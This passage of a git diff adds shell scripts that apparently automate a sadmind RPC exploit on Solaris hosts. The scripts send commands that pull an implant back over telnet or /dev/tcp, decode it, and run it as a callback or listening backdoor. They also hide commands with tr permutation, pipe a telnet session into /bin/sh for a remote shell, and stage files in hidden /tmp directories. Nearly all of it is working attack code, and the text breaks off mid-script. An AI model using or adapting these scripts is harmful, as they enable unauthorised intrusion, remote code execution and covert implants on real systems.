"$PACKRAT_SCRIPME" ] ; then + [ "$OLDCMD" ] || UUARG="-u" + EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT" + note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then + note "No -l argument given for callback--using local IP from command line: $LOCAL_IP" + CALLBACKIP="$LOCAL_IP" + fi + if [ "$REDIRECT" ] ; then +# if [ "$CALLBACK" ] ; then +# note "\n\nYou will need two NOPEN windows on $CALLBACKIP\n" +# fi +# note Here are some pastables: + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` + $SETCOLOR_NORMAL +# echo "FIRST/-tunnel nopen window on $LOCAL_IP:" +# note "\ncd /current/down\n${PASTABLE}" +# note "-tunnel\n\nu ${SADMIND_PORT:3} $ACTUALTARGET\n\nr $LOCAL_PORT\n\ns\n" +# echo "" | nc -w1 -u 127.0.0.1 38787 +# if [ ! "$CALLBACK" ] ; then +# notered "Hit ^C to abort or enter once NOPEN -tunnel window is ready" +# read blah +# fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=\"-c${CALLBACKIP}:${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` + ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes + if [ "$ITSLOCAL" ] ; then + echo "remote nopen window on $CALLBACKIP AND local listener:" + note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + echo "remote nopen window on $CALLBACKIP:" + note "\ncd /current/down\n${PASTABLE}\n-nrtun $NOPENPORT\n\n" +# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"` +# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55" + + fi + $SETCOLOR_FAILURE + echo -en "Hit ^C to abort or enter once NOPEN callback window is ready" + $SETCOLOR_NORMAL + read blah + else # not redirecting + POSTRUN="noclient -l $NOPENPORT" + fi + else # not callback + RAT_PREARGS=" D=\"-l${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN2="noclient ${1}:${NOPENPORT}" + fi + fi + + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOZIP" ] ; then + UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z" + [ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z" + + fi + # this one has more spaces...don't use unless other fails... + CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\"" + + if [ "$OLDCMD" ] ; then + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + fi + else + CMD="" + $SETCOLOR_NOTE + [ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;" + [ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;" + echo -e "Maybe something like these (Be sure you take care of this end, i.e., the netcats):\n" + notered "LOCALLY:" + echo -e " nc -l -p 443" + echo "" + notered "For the REMOTE end:" + echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443" + echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`" + echo "" + while [ ! "$CMD" ] ; do + notered "Enter Commands to run on target (see above examples), separated by \";\".\n" + read CMD + done + note "\nCommands being run: $CMD\n" + fi + +# this is unused for now--old bs.tn.gr way +OLDOLDCMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir -p ${REMOTE_DIR} +cd ${REMOTE_DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${REMOTE_FNAME}.Z +chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME} +PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT}" + + if [ ! "$NO_TR" ] ; then + # tr sets + #SET1="'0-}'" + #SET2="'1-~'" + ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&" + THERE=`which permute 2>/dev/null` + if [ ! "$THERE" ] ; then + if [ -x "../bin/permute" ] ; then + export PATH=../bin:$PATH + else + usage exit "FATAL ERROR: No \"permute\" in path." + fi + fi + SET1=`permute "$ALPHA"` + SET2=`permute "$SET1"` + MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`" + UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`" + echo " +munging via: + tr \"$SET1\" \"$SET2\" +and vice versa. + +MUNGED=\"$MUNGED\" + +UNMUNGED=\"$UNMUNGED\" +" + + if [ "$SET1" = "$SET2" ] ; then + echo "SET1=\"$SET1\"" + usage exit "FATAL ERROR. SET1 is the same as SET2." + fi + if [ ! "$UNMUNGED" = "$CMD" ] ; then + echo "$UNMUNGED" > /tmp/UNMUNGED.$$ + echo "$CMD" > /tmp/CMD.$$ + cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$ + wc /tmp/UNMUNGED.$$ /tmp/CMD.$$ + usage "FATAL ERROR. UNMUNGE TEST FAILED" + else + echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n" + fi + + $SETCOLOR_NOTE + echo -e "Running:\n +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n" + else + notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n" + echo -e "Running:\n +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"$CMD\"\n" + fi + + if [ "$POSTRUN" ] ; then + echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n" + fi + $SETCOLOR_NORMAL + + notered "Hit ^C to abort or enter to continue" + read blah + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + if [ $ATTEMPT -eq 1 ] ; then +# tunnelcmd c 1 2 + tunnelcmd u ${SADMIND_PORT:3} $ACTUALTARGET + else + tunnelcmd c 2 + fi + tunnelcmd r $LOCAL_PORT + tunnelcmd s + + while [ 1 ] ; do + rm -f /tmp/bsoutput.$$ + if [ ! "$NO_TR" ] ; then + note "\n\nrunning this locally (using tr remotely):\n\nbs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$ + else + note "\n\nrunning this locally:\n\nbs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c "$CMD" 2>&1 | tee /tmp/bsoutput.$$ + fi + + HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"` + rm -f /tmp/bsoutput.$$ + [ "$HOSTERR" ] || break + $SETCOLOR_FAILURE + echo -e "\n\nERROR OUTPUT FROM bs!!\n\n" + if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then + echo -e "ERROR! Correct host but need different domain ($REMOTE_DOMAIN failed)." + $SETCOLOR_NORMAL + echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): " + read ans + REMOTE_DOMAIN="" + [ "$ans" ] && REMOTE_DOMAIN="-d ${ans}" + echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n" + else + echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that." + $SETCOLOR_NORMAL + echo -en "Enter new host or ^C to abort: [$HOSTERR] " + read ans + [ "$ans" ] || ans="$HOSTERR" + REMOTE_HOST="-h ${ans}" + echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n" + fi + done + + if [ "$POSTRUN" ] ; then + notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more" + notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n" + notered "\nNow running nopen listener with: $POSTRUN\n" + exec $POSTRUN + fi + +# if [ "$REDIRECT" ] ; then +# note "\n\nFor your -tunnel window once all is done:\n\nc 1 2\n\nq\n\n" +# fi + if [ "$POSTRUN2" ] ; then + note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n" + notered NOTE: Listener may not be active until you ^C the netcat upload. + fi +} + # end doit procedure + +if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1` +fi +[ "$NOSERVER" ] || NOSERVER=/current/up/noserver + +ATTEMPT=1 +while [ 1 ] ; do + + if [ "$ARGS" ] ; then + OPTIND=1 + doit $ARGS + else + ARGS="${*}" + doit ${*} + fi + + note "\n\n$PROG attempt number $ATTEMPT is complete." + if [ "$CALLBACK" ] ; then + $SETCOLOR_FAILURE + echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + echo -en "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi + note "\nIf it worked, hit return to exit.\n" + echo -ne "${COLOR_FAILURE}Do you want to try again? [N] $COLOR_NORMAL" + read ans + [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + # echo -e "$usagetext" + + notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way." + notered "If \"tr\" method might have failed, add the -T argument to disable munging." + notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS." + note "\nIf desired, use the -C command to override what commands are executed on target." + note "\nYour previous arguments were:" + echo "$ARGS" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)." + + read ans + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` +done + +note "Closing down -tunnel ports" +tunnelcmd c 1 2 +tunnelcmd q +ps -efwwww | grep PACKRAT | grep -v grep && \ +notered "\n\nYou need to close packrat window before this one can exit.\n\n" + diff --git a/Linux/bin/bs.ratload b/Linux/bin/bs.ratload new file mode 100755 index 0000000..7ede637 --- /dev/null +++ b/Linux/bin/bs.ratload @@ -0,0 +1,68 @@ +#!/bin/sh +# +# Use BS with RATLOAD +# + + usage() + { + echo "" + echo "This script requires RATLOAD" + echo "Usage: ${0} remoteIP remoteHost [remoteDomain] \\" + echo " sadmindPort localIP ratloadPort" + exit 1 + } + +REMOTE_IP="-i ${1}" +REMOTE_HOST="-h ${2}" +case ${#} in + 5) + SADMIND_PORT="-p ${3}" + LOCAL_IP="${4}" + LOCAL_PORT="${5}" + ;; + 6) + REMOTE_DOMAIN="-d ${3}" + SADMIND_PORT="-p ${4}" + LOCAL_IP="${5}" + LOCAL_PORT="${6}" + ;; + *) + usage + ;; +esac + +# Check for required args +[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage +[ -z "$REMOTE_HOST" ] && echo "Error: missing remote hostname" && usage +[ -z "$SADMIND_PORT" ] && echo "Error: missing remote hostname" && usage +[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage +[ -z "$LOCAL_PORT" ] && echo "Error: missing local port" && usage + + +echo "--> my IP is $LOCAL_IP" +echo "--> port to telnet to is $LOCAL_PORT" +echo "--> exploiting sadmind on \"$SADMIND_PORT\"" +echo "--> target hostname \"$REMOTE_HOST\"" +[ ! -z "$REMOTE_DOMAIN" ] && echo "--> using domain \"$REMOTE_DOMAIN\"" + +echo " +about to run: + +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | /bin/sh\" + +" +PLATFORM=`uname` + +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c "/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | /bin/sh" + diff --git a/Linux/bin/bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL b/Linux/bin/bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL new file mode 100755 index 0000000..52d77e1 --- /dev/null +++ b/Linux/bin/bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL @@ -0,0 +1,111 @@ +#!/bin/sh +# +# Use bs to upload a program via reverse telnet and run it +# +echo "CommandLine: ${0} ${*}" +echo "" + +# Some default values +SCRIPT="/tmp/...." +DIR="/tmp/..." + +# Show usage and exit +usage() { + echo "" + echo "Before running this script, you first need to run the following:" + echo " nc -l -p localPort < file2Xfer&Run.uu" + echo "where file2Xfer&Run.uu is a compressed, uuencoded file." + echo "" + echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]" + echo "" + echo "New usage: ${0} [options] -- [options to ]" + echo " -i (required)" + echo " -h (required)" + echo " -a (does not work) Use alt rpcbind port" + echo " -s hardwired 111" + echo " -r hardwired 111" + echo " -d " + echo " -p def= query rpcbind" + echo " -l (required)" + echo " -n (no default)" + echo " -f (required)" + echo " -D def= $DIR" + echo " -S def= $SCRIPT" + echo " -G "grinch args" deprecated" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args + + # New style options + while getopts i:h:as:r:d:p:l:n:f:D:S:G: op; do + case $op in + i) REMOTE_IP="-i $OPTARG";; + h) REMOTE_HOST="-h $OPTARG";; + a) altRpcbind="-a";; + s) sndPort="-s $OPTARG";; + r) rcvPort="-r $OPTARG";; + d) remDomain="-d $OPTARG";; + p) sadmindPort="-p $OPTARG";; + l) LOCAL_IP="$OPTARG";; + n) LOCAL_PORT="$OPTARG";; + f) RUN_FILE="$OPTARG";; + D) DIR="$OPTARG";; + S) SCRIPT="$OPTARG";; +# G) GRINCHARGS="$OPTARG";; + esac + done + cmdFlag="-c" + extraOpts="$altRpcbind $remDomain $sadmindPort" + shift `expr $OPTIND - 1` + + # Check for required args + [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage +EXTRA="${*}" + +echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 $extraOpts ... $cmdFlag commands" + +echo "--> my IP is $LOCAL_IP" +echo "--> port to telnet to is $LOCAL_PORT" +echo "--> xfering and running $RUN_FILE" +echo "--> using tmp file $SCRIPT" +echo "--> using tmp dir ${DIR}" +echo "--> Here's command being sent:" +CMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir -p ${DIR} +cd ${DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${RUN_FILE}.Z +chmod 0700 ${DIR}/${RUN_FILE} +PATH=${DIR} ${RUN_FILE} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT} +" +echo "$CMD" + + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +#exit 0 + +bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 \ +$cmdFlag "$CMD" $extraOpts diff --git a/Linux/bin/bs.tn.nopen b/Linux/bin/bs.tn.nopen new file mode 100755 index 0000000..ffd2cea --- /dev/null +++ b/Linux/bin/bs.tn.nopen @@ -0,0 +1,114 @@ +#!/bin/sh +# +# Use bs to upload a program via reverse telnet and run it +# + +# Some default values +SCRIPT="/tmp/...." +DIR="/tmp/..." + +# Show usage and exit +usage() { + echo "" + echo "Before running this script, you first need to run the following:" + echo " nc -l -p localPort < file2Xfer&Run.uu" + echo "where file2Xfer&Run.uu is a compressed, uuencoded file." + echo "" + echo "Usage: ${0} [options] -- [options to ]" + echo " -i (required)" + echo " -h (required)" + echo " -a (does not work) Use alt rpcbind port" + echo " -s hardwired 111" + echo " -r hardwired 111" + echo " -d " + echo " -p def= query rpcbind" + echo " -l (required)" + echo " -n (required)" + echo " -f (required)" + echo " -P (default up to noserver)" + echo " -D def= $DIR" + echo " -S def= $SCRIPT" + echo " -G deprecated" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args + + # New style options + while getopts i:h:as:r:d:p:l:n:f:P:D:S:G: op; do + case $op in + i) REMOTE_IP="-i $OPTARG";; + h) REMOTE_HOST="-h $OPTARG";; + a) altRpcbind="-a";; + s) sndPort="-s $OPTARG";; + r) rcvPort="-r $OPTARG";; + d) remDomain="-d $OPTARG";; + p) sadmindPort="-p $OPTARG";; + l) LOCAL_IP="$OPTARG";; + n) LOCAL_PORT="$OPTARG";; + f) RUN_FILE="$OPTARG";; + P) NOSERVER_PORT="D=\\\"-l $OPTARG\\\"";; + D) DIR="$OPTARG";; + S) SCRIPT="$OPTARG";; +# G) GRINCHARGS="$OPTARG";; + esac + done + cmdFlag="-c" + extraOpts="$altRpcbind $remDomain $sadmindPort" + shift `expr $OPTIND - 1` + + # Check for required args + [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage + [ -z "$LOCAL_PORT" ] && echo "Error: missing local PORT" && usage + +EXTRA="${*}" + +echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 $extraOpts ... $cmdFlag commands" + +echo "--> my IP is $LOCAL_IP" +echo "--> port to telnet to is $LOCAL_PORT" +echo "--> xfering and running $RUN_FILE" +echo "--> using tmp file $SCRIPT" +echo "--> using tmp dir ${DIR}" +if [ "$NOSERVER_PORT" ]; then +echo "--> using NON-DEFAULT nopen port env var ${NOSERVER_PORT}" +fi +echo "--> Here are commands being sent:" +CMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir ${DIR} +cd ${DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${RUN_FILE}.Z +chmod 0700 ${DIR}/${RUN_FILE} +PATH=${DIR} ${NOSERVER_PORT} ${RUN_FILE} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT} +" +echo "$CMD" + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +#exit 0 + +bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 \ +$cmdFlag "$CMD" $extraOpts diff --git a/Linux/bin/bs.tr_TRY_SECOND b/Linux/bin/bs.tr_TRY_SECOND new file mode 100755 index 0000000..a010ad0 --- /dev/null +++ b/Linux/bin/bs.tr_TRY_SECOND @@ -0,0 +1,145 @@ +#!/bin/sh +PROG=`basename ${0}` +ERRSLEEP=3 + + usage() + { + echo " +Usage: + [E=ratpreargs] [A=ratpostargs] $PROG remoteIP remoteHost \\ + [remoteDomain] \\ + sadmindPort remoteDir remoteName localIP localPort + + ratpreargs : the string put on remote command line right after PATH=. and + before remoteName (e.g. E='D=\"-c LOCALIP port\"' or + E='D=\"-l listenport\"') + + ratpostargs : the string put on remote command line after running remoteName + + Command sent to bs will be munged from: + +CMD=\"mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR} && telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${REMOTE_FNAME}\${RAT_POSTARGS}\" + +" + exit 1 + } +echo " +CommandLine: ${0} ${*}" +while getopts h op; do + case $op in + E) RAT_PREARGS=" $OPTARG";; + A) RAT_POSTARGS=" $OPTARG";; + h) usage + esac +done + +[ "$E" ] && RAT_PREARGS=" $E" && echo "RAT_PREARGS=$RAT_PREARGS" +[ "$A" ] && RAT_POSTARGS=" $A" && echo "RAT_POSTARGS=$RAT_POSTARGS" + + +REMOTE_IP="-i ${1}" +REMOTE_HOST="-h ${2}" + +case ${#} in + 7) + SADMIND_PORT="-p ${3}" + REMOTE_DIR="${4}" + REMOTE_FNAME="${5}" + LOCAL_IP="${6}" + LOCAL_PORT="${7}" + ;; + 8) + REMOTE_DOMAIN="-d ${3}" + SADMIND_PORT="-p ${4}" + REMOTE_DIR="${5}" + REMOTE_FNAME="${6}" + LOCAL_IP="${7}" + LOCAL_PORT="${8}" + ;; + *) + echo " +Wrong number of arguments: ${#} (should be 7 or 8)." + sleep $ERRSLEEP + usage + ;; +esac +# Check for required args +[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage +[ -z "$REMOTE_HOST" ] && echo "Error: missing remote hostname" && usage +[ -z "$SADMIND_PORT" ] && echo "Error: missing remote hostname" && usage +[ -z "$REMOTE_DIR" ] && echo "Error: missing remote directory" && usage +[ -z "$REMOTE_FNAME" ] && echo "Error: missing remote filename" && usage +[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage +[ -z "$LOCAL_PORT" ] && echo "Error: missing local port" && usage + +if [ "`echo $REMOTE_DIR | cut -c1`" != "/" ]; then + echo " +REMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order." + sleep $ERRSLEEP + usage + +fi + + + +# this one has more spaces...don't use unless other fails... +CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}" + +CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}/dev/null 2>&1&&uncompress -f ${REMOTE_FNAME}.Z&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}" + + +# tr sets +#SET1="'0-}'" +#SET2="'1-~'" +ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <>&" +THERE=`which permute 2>/dev/null` +if [ ! "$THERE" ] ; then + if [ -x "../bin/permute" ] ; then + export PATH=../bin:$PATH + else + echo "FATAL ERROR: No \"permute\" in path." + exit + fi +fi +SET1=`permute "$ALPHA"` +SET2=`permute "$SET1"` +MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`" +UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`" +echo " +munging via: +tr \"$SET1\" \"$SET2\" +and vice versa. + + MUNGED=\"$MUNGED\" + +UNMUNGED=\"$UNMUNGED\" +" + +if [ "$SET1" = "$SET2" ] ; then + echo "FATAL ERROR. SET1 is the same as SET2." + echo "SET1=\"$SET1\"" + exit +fi +if [ ! "$UNMUNGED" = "$CMD" ] ; then + echo "FATAL ERROR. UNMUNGE TEST FAILED" + echo "$UNMUNGED" > /tmp/UNMUNGED.$$ + echo "$CMD" > /tmp/CMD.$$ + cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$ + wc /tmp/UNMUNGED.$$ /tmp/CMD.$$ + exit +else + echo "PASSSED TEST: \$CMD eq \$UNMUNGED. +" +fi + +echo "Running: +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\" +" + +#[ "$PAUSE" ] && echo "Hit ^C to abort or enter to continue" && read blah +echo "Hit ^C to abort or enter to continue" && read blah + +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \ + -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" + diff --git a/Linux/bin/bs_gr b/Linux/bin/bs_gr new file mode 100755 index 0000000..0cebc7c --- /dev/null +++ b/Linux/bin/bs_gr @@ -0,0 +1,109 @@ +#!/bin/sh +# +# Use bs to upload a program via reverse FTP and run it +# + +# Some default values +SCRIPT="/tmp/...." +DIR="/tmp/..." +LOCAL_USER="test" +LOCAL_PASSWD="test" + +# Show usage and exit +usage() { + echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]" + echo "" + echo "New usage: ${0} [options] -- [options to ]" + echo " -i (required)" + echo " -h (required)" + echo " -a Use alt rpcbind port" + echo " -s def= bs default" + echo " -r def= bs default" + echo " -d " + echo " -p def= query rpcbind" + echo " -l (required)" + echo " -u (def= test)" + echo " -P (def= test)" + echo " -f (required)" + echo " -D def= $DIR" + echo " -S def= $SCRIPT" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# +if [ "`echo $1 | cut -c1`" != "-" ]; then + # Must be old style command line + [ $# -lt 6 ] && usage + + REMOTE_IP=${1} + REMOTE_HOST=${2} + LOCAL_IP=${3} + LOCAL_USER=${4} + LOCAL_PASSWD=${5} + RUN_FILE=${6} + shift; shift; shift; shift; shift; shift + REMOTE_PORTS="23 23" +else + # New style options + while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do + case $op in + i) REMOTE_IP="-i $OPTARG";; + h) REMOTE_HOST="-h $OPTARG";; + a) altRpcbind="-a";; + s) sndPort="-s $OPTARG";; + r) rcvPort="-r $OPTARG";; + d) remDomain="-d $OPTARG";; + p) sadmindPort="-p $OPTARG";; + l) LOCAL_IP="$OPTARG";; + u) LOCAL_USER="$OPTARG";; + P) LOCAL_PASSWD="$OPTARG";; + f) RUN_FILE="$OPTARG";; + D) DIR="$OPTARG";; + S) SCRIPT="$OPTARG";; + esac + done + cmdFlag="-c" + extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort" + shift `expr $OPTIND - 1` + + # Check for required args + [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage +fi +EXTRA="${*}" + + +echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} 